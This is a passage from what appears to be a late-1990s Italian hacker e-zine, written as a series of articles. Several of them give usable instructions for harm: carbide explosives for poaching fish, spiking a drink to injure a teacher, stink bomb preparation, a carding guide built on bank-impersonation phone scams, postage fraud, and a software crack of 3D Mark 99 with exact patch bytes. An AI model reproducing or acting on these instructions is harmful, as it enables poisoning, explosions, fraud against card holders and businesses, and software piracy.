sbattono in gabbia (ihih).....io mi declino da ogni responsabilita'. Se mi volete contattare: Nickname:PiNbALL E-Mail:discopinball@hotmail.com Oppure venitemi a trovare nel mio canale su irc : #discomania O visitate il mio sito http://members.tripod.com/pinball6/pinb.html ͻ Ŀ "COMPLETAMENTO" DELL'ART APPARSO SU NewBies 2 SULLE BANCHE ٺ ͼ PREMESSA BY N0bodY88 = questo msg mi e' stato mandato come "completamento" del mio art sulle banche pubblicato sul numero 2 di NewBies. Ho deciso di pubblicarlo xche' spiega un po' meglio il modo x non farsi beccare e godere delle nostre imprese! Devi sapere che le azioni una volta che le poni in vendita sono vendute la miglior offerente e quindi anke su tu le vendi a 2.000 non detto che riesci a ricomprarle a 2.000 ... Un metodo + sicuro ? Tranzasione via rete : puoi venderle domani e oggi impostare come parametro di ricerca ed esecuzione che le azioni XXX vadano comprate nelle prossime 24 o 48 ore con una spesa massima di 2.000 lirette... Okkio che per fare una cosa del genere devi avere un conto in banca e almeno 1.000 dollari di account per giocare in borsa.... Tieni anke presente che se te le fai versare in banca devi pensare che la banca tiene il log delle tue operazioni e non sarebbe piacevole che ti fai inculare per una cazzatina cos.... Quindi , se ti apri un'account con un broker on line e gli specifichi che i ricavi dei tuoi movimenti non ti vengano accreditati alla tua banca di appoggio ma reinvestiti in azioni , mi sa che + sicuro.... Se poi specifichi che una volta comprate le azioni della SexyShop a 2.000 devi metterle in vendita al miglior offerente e comprare Telecom a qualunque cifra entro 15 minuti , poi vendere su piazza italiana e con il ricavato comprare su piazza straniera riesci a mascherarti benino..... Specie se imposti queste operazioni la sera prima o meglio 2 giorni prima di vendere le azioni a poco , nessuno potr mai dimostrare che hai fatto qualcosa di illegale , faranno fede i log del tuo broker on line... Vedi che i log non sono sempre cattivi? :-))) Anonimo NOTA DI N0bodY88 = l'autore di quest'art. e' un amico mio e di NewBies che vuole rimanere anonimo xche' molto conosciuto nel mondo dell'economia e delle transazioni. Ovviamente i complimenti a lui x la sua spiegazione imo molto ben fatta :-) ͻ Ŀ LE "FAMOSE" BOLLE MICROSOFT ٺ ͼ Un art. veloce veloce... This art.'s DeD 2 : la photo con gli adesivi della MS sul qoolo!!. Eh eh...."caxxo sono 'ste bolle??" mi chiederete voi. "Una cosa molto divertente" vi rispondo io "specialmente se fatta con CD della Microshit!!". Agguantate un fottutissimo CD Microshit, levate quella schifezza di stratino di plastica che ricopre la parte superiore del CD, questa operazione si puo' effetuare in var modi: surf sull'asfalto (ulntwh99 eh eh), coltelluzzi vari ect. ect..... Ora prendete un accendino e riscaldate la parte inferiore del CD finche' non vedrete la superfice che incomincia a deformarsi, soffiateci sopra forte e vedrete una bolla tanto lunga quanto e' stata forte la vostra emissione di fiato dal vostro orifizio orale....(N0bodY88 riesce a fare delle bolle di 1/2 cm......ogni riferimento alle sigarette e' puramente casuale !!!) AH AH AH AH AH AH......!!!!!! Beh...questo e' quanto......Se vedemo BoyZ.... By *Dante Alighieri* NOTA BY N0bodY88 = salutiamo insieme il nostro mitico Dante che ci ha lasciato dopo che lo ho messo fuori dal NewBies Staff causa citazio_ ne in questo articolo...sniff...ci mancherai :PPPPP hihihi scherzavo ovviamente!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ͻ Ŀ W LA PESCA DI FRODO ٺ ͼ Questo articolo e' da pazzi quindi non scrivetemi per dirmelo perche' lo so gia' !!! PESCA DI FRODO !!!! Chi di voi non vorrebbe fare 1 figurone con la propria ragazza (o no chi se ne fotte ...) al mare emergendo dagli abissi con 1a decina di pesci NELLE MANI o solamente sulla FIOCINA ???? Ecco qui il metodo semplice ed efficace ... A chimica 1 gg 1a gocciolina ebbe l'idea di cadere in 1a sostanza marrone solida ... ne sussegui' un urlo del prof "TUTTI A TERRA !!!!" poi ...dopo circa 20 sec --> BOUMMMMMMMMMMMMM !!! Si ruppe il lavello di "pietra" dove era contenuto il barattolo con la simpatica gocciolina ! Si venne poi a conoscere 1 interessante reazione ...il carburo a contatto con l'acqua esplode ! Vabbe' puo' non essere 1a cosa nuova ma per me lo era e da quel giorno nella mia sQuola si susseguirono numerose misteriose esplosioni ... AVEVO dato sfogo alla mia fantasia ...m'ero creato delle "bombe a tempo" dopo essermi ovviamente fottuto tutto il carburo del laboratorio di chimica !!! Bhe questo carburo lo uso anche per pescare di frodo poiche' basta metterlo in un involucro (piccolo per carita' !!!) come quello delle sorpresine kinder, bucarlo e buttarlo a una relativa profondita' con 1 sasso attaccatp plz ...la pressione aumentera' cosi' l'acqua avra' meno difficolta' a raggiungere l'interno del contenitore con conseguente esplosione . E' consigliabile attuare questo stratagemma dopo aver gettato esca che vada sul fondo come del resto il vostro contenitore !!! un altro metodo e' quello di gettare pane in quantita' industriale con lo scopo di attirare molti pesci poi buttarci in mezzo il contenitore con pero' il foro + largo in modo che qyalche skizzo penetri all'interno della confezione e "inneschi" il tutto !!! I pesci che emergerannno saranno direttamente proporzionali alla quantita' di pane gettato e alla quantita' di acrburo utilizzato ! Attenzione ...ai pescatori potrebbe non piacere molto sto scherzetto ...gli rubate il mestiere in fondo ... bY Anonymous ͻ Ŀ W I PROF ASSENTI DA sQuola ٺ ͼ W L'ASSENTEISMO !!!! Volete FOTTERE qualcuno nel modo + bastardo possibile ? Bene Prendete nota allora di cio' che vi occorre ! >-> 1a pastiglia sublinguale di feldene (1 noto antiinfiammatorio) >-> 1a aspirina 03 >-> levolax in quantita' industriale ... mischiate il tutto in quanta acqua calda anzi bollente volete (meno e' meglio e') e lasciate fermentare il composto al sole per 1 gg . Dopo di cio' il tutto e' pronto all'utilizzo !!! Versate il tutto in 1a bevanda che berra' lo sfigati ... NB: LA SOSTANZA E' INSAPORE , TRASPARENTE , MA NON INODORE quindi nella Coca Cola va benissimo ! La reazione sara' fantastica : 1a semplice reazione allergica ...la pelle si squamera' , il prurito sara' insopportabile quindi l'individuo SI GRATTERA' VIA LA PELLE DA SOLO !!!!!!!! Stara' a casa + o - dai 2 ai 4 mesi a seconda delle quantita' e del soggetto! BUON DIVERTIMENTOOOOOOOOO HAHAHAHAHAHAHAHAHHOHOHOHOHOHOHOHHIHIHIHIHIHIHIHEHEHEHEHEHE !!!! (sono pazzo da legare ...) bY Anonymous ͻ Ŀ L'ARTE DEL CARDING ٺ ͼ Buongiorno e buonasera a tutti. Leggendo il titolo di questo articolo alcuni (spero pochi) si saranno chiesti: "ma che diavolo e' il carding?". Bene, il carding e' l'uso di carte di credito altrui, ottenute illegalmente. E' un' attivita' discretamente diffusa anche in Italia, quindi entriamo subito nel l'argomento. E' d'obbligo fare una distinzione: ci sono essenzialmente due modi di fare carding: 1) RUBARE una carta di credito e andare in giro per negozi a fare acquisti 2) ottenere il NUMERO di una carta di credito ed ordinare per telefono. Per quanto riguarda il primo punto, non dovrebbero esserci molti problemi: individuate la vittima, che magari avete visto poco prima pagare in un negozio con una carta di credito (per questo vi consiglio di frequentare gli IperMercati di sabato pomeriggio), e le rubate il portafogli o la borsetta. Recuperate la carta di credito (da ora in avanti CC) e buttate via tutto il resto (anzi no, magari trattenete i soldi, visto che ci siete): vi trovate con in mano una CC bella fresca, precipitatevi in un negozio (chesso', di CD, di computer, di vestiti etc), comprate quello che volete, pagate con la CC e sentitevi soddisfatti. Facile, vero? Certo, ma ci sono delle cose a cui fare attenzione; vi consiglio di avere sempre un amico motorizzato fuori dal negozio nel caso doveste scappare all'improvviso (chesso', la cassiera puo' conoscere il vero proprietario della CC e sgamarvi); ricordate di non fare puttanate del tipo (se siete maschi) presentarvi con una CC intestata a "Mariettina Rossi", oppure (se siete donne) usare una CC intestata a "Fausto Bianchi"; siate sempre sicuri di voi, migliorera' anche il tono di voce, state calmi, non balbettate e tutto il resto, sono cose che fanno insospettire i commessi e fanno nascere grane. Per ultimo non andate nel negozio che frequentate sempre o in quello sotto casa, mi sembra piu' che ovvio. Ma il metodo che piu' preferisco e vi consiglio e' il secondo: ottenere un numero di CC e usarlo ordinando telefonicamente. Ci sono molti modi per ottenere numeri validi, fra poco vi descrivero' il migliore, ma cacchio, NON USATE I GENERATORI PER NUMERI DI CC che si trovano praticamente ovunque su internet, sono delle vaccate che vi mettono solo nei guai. Fate piuttosto cosi': prendete le pagine gialle (o le Pagine Utili Mondadori) spulciate nelle categorie ingegneri, medici, dentisti, avvocati etc, insomma nelle categorie di laureati che con piu' probabilita' hanno una CC e segnatevi i numeri, la via e tutto il resto. Ok, andate in una cabina telefonica (dannazione non fatelo dal telefono di casa), chiamate e spacciatevi per un dipendente della banca e cominciate a sparare troiate del tipo "siccome c'e' stato un aggiornamento nell'archivio del computer centrale, dovremmo verificare che i numeri di CC corrispondano..." insomma, usate la fantasia (come al solito), usate anche modi gentili e frasi del tipo "con gli altri clienti finora non ci sono stati problemi" per rassicurarli: al 99% vi daranno le informazioni che richiedete. Dovete farvi dare: tipo di CC, numero della CC e data di scadenza. Nome, cognome, indirizzo e numero telefonico ce l'avete gia'. WOW! Avete un numero valido di CC! E ora? Beh ora il piu' e' fatto: cercate una ditta dalla quale si possa ordinare per telefono e che permetta di pagare con CC (praticamente tutte) e telefonate (dalla cabina). Una telefonata tipo potrebbe essere: Salve, qui e' la Computer&TuttoIlResto. Posso aiutarla? Salve. Si', vorrei fare un ordine. Benissimo, cosa vorrebbe ordinare? Una scheda video Voodooo3 Ok. Mi dovrebbe lasciare i suoi dati. Nome? [Nome e cognome del tizio della carta di credito] Indirizzo? [Indirizzo di dove avete intenzione di andare a ritirare il pacco] Ok, va bene una spedizione tramite corriere? Cazzo, va benissimo. Ma avevo intenzione di pagare tramite carta di credito Non ci sono problemi. Che carta di credito? Che numero? Scadenza? [Tutti i dati della carta di credito] Bene. Siccome io sono sempre fuori per lavoro, posso decidere l'orario in cui il corriere deve lasciarmi il pacco? Certo, non ci sono problemi. Bene, le 15:00 di giovedi' prossimo. Ok, salve e grazie! Ma grazie a lei! hihihihihi (ghigno malefico) Che coincidenza! Alle 15:00 del giovedi' vi fate trovare al portone del l'edificio, fate finta di niente e dite al ragazzo del corriere "Ah! E' il pacco di Computer&TuttoIlResto? Si'? E' per me, sono il sig. [Cognome del tizio della carta di credito]". Vi fara' firmare una ricevuta, mettete uno scarabocchio alla cazzo, prendete il pacco e divertitevi. "Beh, e al tizio della CC che diavolo succede?" E che diavolo ve ne fotte?!? Comunque, tanto per sapere, gli verra' accreditato l'ordine che avete fatto voi sulla ricevuta che gli arriva regolarmente ogni mese, chiedera' informazioni, cercheranno di capire cos'e' successo, si ricordera' della telefonata del tipo gentile della banca e se lo sentira' mooolto profondamente nel culo. E vissero tutti (tranne lui) felici e contenti. Ancora un paio di precisazioni: non fate ordini troppo costosi, i controlli aumenterebbero; acquistate roba sotto le 100-150.000, tanto e' sempre gratis, no? Rischierete molto meno. Siate sempre convinti&sicuri, ne gioveranno tutti. Per concludere volevo commentare alcune cose che ho letto sull'argomento che non condivido affatto; in molti articoli statunitensi sul carding ho letto cose del tipo "fate lasciare il pacco in un edificio disabitato, o da qualcuno che sia partito in vacanza". Cacchio, ma da loro non esistono le ricevute? Da loro i corrieri sono cosi' imbecilli da lasciare i pacchi incustoditi? Mah... oppure mi e' capitato di leggere di applicare la tecnica del trashing; praticamente di rompere i sacchetti dell'immondizia di un negozio che accetta CC per ottenere degli scontrini con i dati che ci servono. Uh? E quando mai ci sbrighiamo? Dovremmo stare mesi a ravanare tra le loro merdate a caccia di un minuscolo scontrino che magari hanno anche strappato... Ok, la finisco qui, comunque state bene attenti e riflettete quando leggete documenti di questo tipo: alcune volte ci sono scritte delle vere e proprio boiate (spero non sia il caso di questo). Aloha! Killexx NOTA BY /sPIRIT/ = Se il trashing non serve a un cazzo io sono Bill Gates... ͻ Ŀ ARRIVANO I VANDALI !!! ٺ ͼ Autore: Fusyllo Consumo: 1 paco di...(forse e' meglio che non mangiate) e una maschera antigas :) Musica ascoltata: quella che volete Dedicato: a tutto lo staff di NewBies. Quante volte avete sentito parlare di Stinky Bomb?? Mai? Allora ve lo spiego. La Stinky Bomb e' una miscela che ha una puzza insopportabile che puo' essere usata per fare scherzi. Quello che vi serve. - Alcol - Profumi vari - Zolfo - Ammoniaca - Polvere di ferro - Limone o aceto (io preferisco il limone) - Fonte di calore - Pentolino o provetta - Bilancia - I contenitori delle sorprese nell'uovo kinder Come si prepara Sarebbe meglio andare in garage o a casa di un altro ;-)). Dovete mischiare un po di tutti i profumi che avete e 1/2 di alcol. Prendete un pentolino, mettete 7g di ferro e 4g di zolfo riscaldatelo e quando inizia ad uscire il fumo aggiungete il succo di limone quanto basta, ora avete del solfuro di ferro. Sciogliete l'ammoniaca in acqua. Poi mischiate 3/6 di solfuro di ferro, 1/6 di ammoniaca e 2/6 di profuumi. Sentite gia' l'odorino :-D Prendete i contenitori della sorpresa dell'uovo e siggillateli intorno con del nastro isolante (quello degli elettricisti) e fare un buco sopra, mettete il liquido e chiudete il buco con dell'altro nastro. Le Stinky Bomb sono pronte, le aprite quando le dovete usare e le mettete nella tasca di qualcuno a nella macchina. Fusyllo@usa.net Fusyllo ͻ Ŀ POSTING ovvero SE IO SONO IO E TU 6 TU KI E' IL + SCEMO TRA NOI 2 ٺ ͼ POSTING ?!?!?! ovvero: Se io sono io e tu 6 tu ki e' il + scemo tra noi 2 applicato alle PT !! E' vero che siamo nell'era della posta elettronica,ma kakkio un modo per fregare l'ente postale mi e' venuto in mente solo ora...!!! Tengo a precisare che non l'ho ancora provato (datoche non mi e' ankora servito) ma penso proprio che dovrebbe funzionare.Quest'oggi il mio articolo e' dedicato ad un bel po'di persone.....per primi tutti coloro che mi hanno conosciuto al meeting a Bologna (35 people..Wow) Poi ankore alla ragazza che durante il meeting mi ha detto "ah tu sei Dante Alighieri....piacere io sono Des..." a cui ho pensato per tutto il giorno nella speranza di riuscire a capire ki era. Infine alle BOLLE sui CD della Microshit con cui ci siamo divertiti per una buona mezz'ora. Ma ora passiamo all'art vero e proprio.... L'articulo si basa sul metodo di spedire lettere o pacchi senza pagare un benemerito caxxo.... A parte il sitema organizzato gia' parecchio tempo fa da dei ragazzi napoletaniche stampavano con una printer ad alta risoluzione francobolli assolutamente falsi...me ne ricordo uno con la foto di un pezzo di figa assurdo tutta ignuda con al posto della scritta "Poste Italiane" la scritta "Toste Italiane" penso ci sia un'altro metodo abbastanza carino che mi e'venuto in mente un po' di weeks ago. Cosa succede ad una lettera spedita senza francobollo ??beh....arriva al destinatario a cui viene chiesto se vuole pagare la tassa per ricevere la lettera oppure far ritornare la lettera al mittente. Fin qui' niente di strano ma....se provassimo ad invertire il nome del mittente con quello del destinatario??? La lettera arriva a me che in realta' sono il mittente ma che secondo la lettera sono il destinatario, a quel punto mi chiedono : vuole pagare la tassa ??? io gli rispondo : NoPe... non mi interessa. Allora le poste che fanno??? Fanno ritornare la lettera al mittente...che in realta' e' il destinatario !!! ahhahaahahahahhahahahahah By Dante Alighieri N.B.Alla fine ho scoperto ki era quella ragazza...Ciao Desdy !!! ͻ Ŀ COME HACKERARE UNO SCOOTER ٺ ͼ cIAO gente! sono ancora io ...PiNbALL.... Vorrei parlare di un argomento abbastanza importante..... Quante umiliazioni avete subito ad un semaforo ? Il vostro scooter non si muove se qualcuno non lo piglia a calci? No problem.....con 270.000 circa potrete avere una skeggia di ripresa! Quanti di voi hanno sempre sognato di elaborare il proprio scooter spendendo pochi soldi??? Volete far si che il vostro scooter si alzi su una ruota appena girate la manopola del gas su 1/3 ?Vi dico subito che questo e' stato testato sul mio motorino con esiti + che positivi ed anche se non sono un meccanico professionista non ho avuto molte difficolta'! ATTENZIONE: Le modifiche sotto riportate sono valide per motorini originali o meglio che non hanno mai subito modifiche...(un modello base insomma) O MEGLIO "COME COSTRUIRE UN AEREO" MOTORE: Smontate testa,cilindro e pistone dal motorino;appoggiateli su un panno e puliteli,lavateli con un qualsiasi prodotto e asciugateli bene;poi prendete una lima molto fine ed iniziate ad appiattire la testa del pistone in modo da farla diventare piatta.Prendete il cilindro e sempre con la lima allargate i travasi e le luci di scarico(sono buchi semirettangolari nelle pareti del cilindro).Adesso date una guardatina all' albero motore e controllate che abbia la gabbia a rulli(se no provvedete a sostituirla).Rimontate tutto e se volete fare una cosa fatta bene sostituite la candela con una di grado termico superiore di 1-2 punti. CARBURATORE: Allora:stesso procedimento del motore per la pulizia,ma e' necessario farlo molto + accuratamente e soffiando dell'aria compressa(se ce l'avete e' meglio) in tutti i buchi e che trovate.Guardate il numero del getto del carburatore (una grossa vite color oro)che dovrebbe essere un 74-76 e sostituitelo con uno di 10 punti + grosso. PACCO LAMELLARE: E' quell'oggetto di forma quadrata con attaccate delle lamelle che si trova tra i collettore e il cilindro.Quindi svitate le lamelle del pacco e sostituitele con quelle da corsa che sono + leggere e meglio ancora se le prendete in carbonio. COLLETTORE DI SCARICO: E'il tubo che collega il motore al carburatore e puo' essere o di plastica dura o di ferro: dovete solo sostituirlo con uno + grosso (ma sembre con l'imboccatura del 12). FILTRO: Sostituitelo con uno da gara.....ce ne sono di tutti i tipi....vi consiglierei di sceglierlo a seconda frequenza con cui lo usate in una determinata stagione. Adesso vi spiego meglio:da ottobre a maggio prendete un filtro abbastanza chiuso (anche quello in metallo va bene) mentre per il periodo che va da giugno a settembre potrete prendere un filtro aperto (vedi quelli in spugna). VARIATORE: Sostituitelo con uno da corsa quindi + leggero. MASSETTE: Sostituitele con altre da 3 g CINGHIA: Sostituitela con una da corsa + resistente e + leggera FRIZIONE: Sostituitela con una "regolabile" e lasciatela con le impostazioni di default MOLLA DI CONTRASTO: Fa parte della componentistica della frizione.Dovete sostituirla con una Malossi (colore ROSSO) o se non la trovate, prendete la + dura. MOLLETTINE: Fanno parte della componentistica della frizione.Prendete le + dure che riuscite a trovare CARTER: E' il coperchio che avete smontato per accedere al variatore e alla frizione. Dunque qui le cose si complicano....dovete fare 4 buchi in alto a sinistra (tre del diametro di 2.6 cm e il quarto di 2 cm) e tre buchi sulla destra (due del diametro di 1.8 cm e uno di 1 cm). Poi copriteli semplicemente con un po di colla e un po di spugna (ma attenzione;mettete la colla attorno al buco e non sopra...senno' non servira' a niente..). COSTO INDICATIVO DEI PEZZI DI RICAMBIO NECESSARI A QUESTO LAVORO: -Cinghia e' 10.000 -Molla e' 10.000 -Mollettine e' 10.000 -Frizione e' 120.000 -Getto e' 1.000 -Lamelle e' 10.000 -Massette e' 10.000 -Variatore e' 50.000 -Filtro e' 20.000 -Collettore e' 30.000 Costo totale e' 270.000 P.S.: Giusto che sono in tema di meccanica ne approfitto per dirvi una cosa che mi fa sempre inca**are. Quasi tutti pensano che la benzina senza piombo (verde) sia nociva per una macchina o un motorino dove nel manuale sia prescritto di usare esclusivamente benzina super(rossa).Insomma tutti credono che "sputtani" il motore. Invece io vi dico dei motivi per cui comprare la benza verde: -Costa 185 e' meno della rossa -Non intasa la marmitta e lubrifica meglio le cose -Inquina meno -Quando siete senza droghe....vi fa svarionare + della rossa se ve la inalate (by Kutt) E solo un motivo per non usarla -Diminuisce le prestazioni del 4% (wow)! P.P.S.: Ci sara' presto un update a questo articolo per quanto riguarda il discorso centralina bY PiNbALL alan.g@flashnet.it or #discomania ۰۰۰۰۰۰۰۰۰۰ ۰۰۲۰۲۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰ ͻ Ŀ COME CRACKARE UN PROGRAMMA ٺ ͼ Salve di nuovo a tutti, sono sempre Quequero, con questo articolo cerchero' di insegnarvi a crackare un programma, in particolare attaccheremo e sproteggeremo 3D Mark 99 Pro. Questo prog. altro non e' che un sofisticato benchmark per le applicazioni 3D, ossia, misura le prestazioni della vostra scheda video (o meglio della vostra amatissima Vudu2 ;). Se installiamo il prog. reperibile sul sito http://www.3dmark.com vediamo che senza registrazione non possiamo cambiare le opzioni e possiamo eseguire solo il test di default, tutto cio' non ci piace vero? Bhe' penso di si altrimenti non stareste a leggere questo articolo ;). Dal momento che SpYmAsTeR ha fatto un'ottima introduzione al cracking sul secondo numero di Newbies non staro' a dilungarmi sulle API di winzoz e sulle altre cosette ma andro' direttamente al sodo. ----Aspettate che vado a cambiare l'acqua al pesce rosso di mio fratello ;)--- Let's go crack!!! Allora installiamo tutto ed andiamo di filato nel box Register|Register 3DMark, ci vengono chiesti un nome ed un numero, a questo punto potremmo: 1) Sniffare il nostro numerino magico, solo che non e' professionaleeeeeeeee 2) Possiamo crackare il programmillo, ma non lo faremo!!! 3) Possiamo fare un keygenerator (troppo difficile per ora) 4) Possiamo fare quello che sto per scrivere, non vi viene nulla in mente eh? Useremo un tecnica descritta da +ORC come ECHO crack, cioe' non faremo altro che far comparire il numero seriale corretto al posto del solito messaggio "Number incorrect" "Wrong password" ecc... +ORC docet e ci dice: all'interno della maggior parte delle routine di protezione c'e' un momento in cui appare nello stack l'echo del numero seriale esatto, la locazione di questo echo varia anche se molto spesso si trova a +o- 90 byte da una delle locazioni nelle quali e' contenuto cio' che abbiamo inserito (cioe' nome e numero), per trovare il numero basta solo dumpare la memoria a quel l'indirizzo ed il gioco e' fatto, l'unico problema e' che l'echo resta in memoria per pochissimo tempo, quindi dovremo far appello al noto motto: carpe diem (come mi sento latino oggi ;) Vediamo adesso se +ORC scrive kazzate ;))))), apriamo il menu di registrazione del 3D Mark, inseriamo un nome (io usero' Quequero) e un numero (io uso sempre 666111666), con ctrl+d (^d) entriamo in softice (ce l'avete vero? Se no andate al mio sito http://quequero.cjb.net e nella sezione dei Link troverete un sito di warez molto veloce dal quale prelevare softice 3.24, nella sezione tools potrete invece trovare W32DASM e l'hex-workshop un editor esadecimale insieme a Hiew 6.02) mettiamo un breakpoint sulla funzione GetWindowTextA in questo modo: bpx getwindowtexta la "A" indica al debugger che stiamo prendendo in esame la funzione a 32-bit e non quella a 16. Usciamo da Sice con F5 e premiamo invio, come ci aspettavamo Sice ci poppa dritti in faccia, cosa si fa a questo punto? Si preme una volta F11 e 5 volte F12, adesso dovreste trovarvi davanti questa sezione di codice: **La "beggar off" e' il messaggio di password errata che ci danno i programmi** quando inseriamo un numero a kazzo ;)))) :00405C87 E856E30800 Call 00493FE2 :00405C8C 8B4F64 mov ecx, dword ptr [edi+64] <----- Noi siamo qui ; Edi+64 e Ecx contengono ; il nostro nome :00405C8F 8B41F8 mov eax, dword ptr [ecx-08] :00405C92 85C0 test eax, eax <---Controlla che i box siano pieni :00405C94 0F8493000000 je 00405D2D <----se e' non lo sono "Beggar off" :00405C9A 8B4760 mov eax, dword ptr [edi+60] <---edi+60 = 666111666 :00405C9D 8B40F8 mov eax, dword ptr [eax-08] :00405CA0 85C0 test eax, eax :00405CA2 0F8485000000 je 00405D2D :00405CA8 83F811 cmp eax, 00000011<---- ci sono 17 caratteri nel box ; del serial number ? :00405CAB 741D je 00405CCA<---se si salta altrimenti "Beggar off" :00405CAD 6A00 push 00000000 :00405CAF 6A00 push 00000000 * Possible Reference to String Resource ID=61598: "Incorrect registration information. Please enter the correct..." | :00405CB1 689EF00000 push 0000F09E :00405CB6 B950D44B00 mov ecx, 004BD450 <----Genera il messagebox della ;beggar off :00405CBB E8E04E0400 call 0044ABA0 :00405CC0 50 push eax Se non conoscete Sice vi dico che per far camminare la barra bianca si usa F10, facciamola arrivare su " mov ecx, dword ptr [edi+64]" e scriviamo: d edi+64 ;dump edi+64 vi appariranno una morra di numeri, voi dovrete prendere i primi 8 e dumparli al contrario, cioe' se vi viene qualcosa del genere: 015F:xxxxxxxx EC 5B 91 00 11 87 F5 94 82 EC AB 90 00 015F:xxxxxxxx 84 58 F5 94 82 EC AB 91 40 11 81 87 11 ecc ecc ecc..................... voi scriverete: d 00915BEC ;d'accordo? E vedrete apparire il vostro nome. Andiamo ancora avanti con F10 e vediamo una strana istruzione: :00405CA8 83F811 cmp eax, 00000011 In Assembly "cmp" significa "confronta" ed in particolare in questo caso vuol dire: confronta 11 esadecimale con il registro eax (procuratevi la guida italiana di Xoanon, sul mio sito oppure dove altro vi pare a voi). Ora mi spieghero' meglio, il programma fa una verifica per vedere se nel campo del numero seriale ci sono 17 caratteri (15 alfanumerici e due "-"), se non ci sono l'istruzione successiva ci manda alla Beggar off, ora vi starete chiedendo: Perche' se li' c'e' scritto 11 lui dice che il prog controlla se ci sono 17 caratteri? Perche' 11 esadecimale equivale a 17 e per vederlo basta scrivere in SoftIce. ? 11 hehe,ma andiamo avanti, se premiamo di nuovo F10 ci troveremo su questa linea: :00405CAB 741D je 00405CCA je vuol dire Jump if Equal, cioe' se l'istruzione precedente ha trovato 15 caratteri alfanumerici e 2 "-" nel campo del numero seriale allora procede al controllo altrimenti ci manda alla beggar off. Ricapitoliamo il tutto, prima il prg controlla la presenza di 17 caratteri, se sono 17 procede, ma fermiamoci un momento,quando state con la barra di sice su :00405CAB 741D je 00405CCA vedrete a destra la scritta "no jump" cio' vuol dire che la funzione non saltera', per ovviare al guaio cancelliamo tutti i breakpoint con: bc* mettiamone uno sull'istruzione "cmp" in questo modo: bpx 015F:00405CA8 ;oppure clickiamo due volte sulla riga in questione, o ancora premiamo F9 dopo aver clickato una volta sempre sul "cmp" usciamo da sice con F5 ed inseriamo al posto di 666111666 12345-12345-12345, ripremiamo invio e sice ci ripoppa in faccia. Stavolta se andiamo sul je vediamo che c'e' scritto "jump", bene, premiamo F10 e vediamo che "saltiamo" ;)))) e ci dovremmo trovare davanti a questo: :00405CCA E8D1FBFFFF call 004058A0 :00405CCF 8B7760 mov esi, dword ptr [edi+60] * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00405CF4(C) | :00405CD2 8A10 mov dl, byte ptr [eax] <--BINGO!!! Eax contiene il # :00405CD4 8A1E mov bl, byte ptr [esi] :00405CD6 8ACA mov cl, dl :00405CD8 3AD3 cmp dl, bl :00405CDA 751E jne 00405CFA :00405CDC 84C9 test cl, cl :00405CDE 7416 je 00405CF6 :00405CE0 8A5001 mov dl, byte ptr [eax+01] :00405CE3 8A5E01 mov bl, byte ptr [esi+01] :00405CE6 8ACA mov cl, dl :00405CE8 3AD3 cmp dl, bl Facciamo una volta step ed esaminiamo eax, (d eax) BINGO!!! Contiene il numero che Cercavamo youhuuuuuuuuuu. Allora cosa possiamo fare? La "Call 004058A0" all'indirizzo 00405CCA genera il nostro ECHO, mentre "mov ecx, 004BD450" all'indirizzo 00405CB6 genera il messagebox con su scritto "Testa di kazzo hai sbagliato numero". Basta ora cambiare la chiamata "call 0044ABA0" in "call 004058A0" e sostituire "mov ecx, 004BD450" con "mov eax, 004BB4A0". Non avete capito una mazza vero? Si che e' vero, ora vi esplico tutto ;) Allora, cio' che abbiamo fatto e' stato cambiare la chiamata dopo l'idirizzo 00405CB6 in modo da renderla uguale a quella che genera il numero (questa chiamata mette il seriale in eax),poi abbiamo cambiato l'istruzione "mov ecx, 004BD450" in modo da mettere in eax il valore calcolato dalla chiamata call 004BB4A0, l'istruzione mov,eax 004BB4A0 quindi crea un messagebox con dentro scritto il numero seriale vero. Ma come si fa a cambiare i byte? Bella domanda, la soluzione e' semplice, basta scrivere: "a xxxxxxxx" dove xxxxxxxx rappresenta l'indirizzo della riga da cambiare, quindi per modificare la chiamata dovremo scrivere: a call 0044ABA0 invio call 004058A0 invio Cosi' via per le altre istruzioni. Dal momento che tutto cio' che facciamo in SoftIce e' solo momentaneo, dobbiamo fare in modo di patchare definitivamente il programma, ma come? Aprite sice e scrivete "code on" vedrete apparire tanti numerini, quelli sono i numeri decimali che rappresentano il codice assembly, voi provate a cambiare di nuovo byte come descritto sopra, segnatevi su un foglio come erano prima del cambiamento e come erano dopo, l'hex-workshop (che a mio parere e' il migliore editor esadecimale), cercate i byte prima del cambiamento e cambiateli come sono cambiati in softice, per agevolarvi ecco i byte gia' cambiati da me, forse capirete meglio: Sostituire: 000050B0 B950D44B00E8E04E0400 con: 000050B0 B8A0B44B00E8E0FBFFFF Questi sono opzionali: 0004C410 83F8040F84930000008B0EE8 000050A0 85C00F848500000083F811741D6A00 con: 0004C410 83F8049090909090908B0EE8 000050A0 85C090909090909083F81190906A00 Se cambiate i byte come vi ho indicato io per far funzionare il crack dovrete per forza inserire una lettera e/o un numero nei campi "nome" e "serial", noppando (90 in esadecimale significa NOP cioe' no operation) anche quelli opzionali dovrete solo premere invio. Ciauzzzzzzzz da Quequero P.S. Ringrazio Kill3xx che ultimamente e' stato molto disponibile con me e YanOrel che mi ha gentilmente linkato sul suo sito oltre ad aver inserito alcuni miei crack nell'omonima sezione Ariciauzzzzzzzzzzzzzzzzzz P.S.S Per bestemmie, insulti, scambi di indirizzi porno o altro scrivetemi a Balckfireshell@hotmail.com e se vi va' andate su http://quequero.cjb.net (da quello che ho saputo e' il piu' grande sito di cracking italiano... quindi ;) ͻ Ŀ PRINCIPI DI BASE X CRACKARE UN GIOCHINO ٺ ͼ Ciao ragazzi riekkoci ad un arikolaccio di AnArChY, vediamo alkuni principi di base (molto di base) x crakkare un giukino. Allora voi volete (disperatamente) l'ultimo titolo uscito, ci sono essenzialmente 3 modi per averlo: 1) Lekkare esageratemente il culo ai genitori oppure fare un giro da TUTTI i parenti 2) Andare dal pirata di fiducia e farselo copiare x poke lire 3) PROVARE a crakkarlo Bene i primi 2 non mi sembrano il max, quindi passiamo alla terza Allora prima kosa installatevi sull'HD la maggior parte di gioco possibile (in Syndacate Wars e molti altri titoli FUNZIONA) se siete sfigati (normalmente succede sempre kosi') ci sono 2 possibilita': 1) il gioco prende da CD musica e animazioni 2) il gioco usa il lettore come protezione Il primo passo da fare a questo punto controllare se sulla root del CD c'e' qualche file strano, molto corto, come disk.id, cdrom.inf, che il programma cerca quando viene lanciato...copiando questo file nella directory del gioco a volte si puo' illudere il programma che sta girando sul CD-ROM 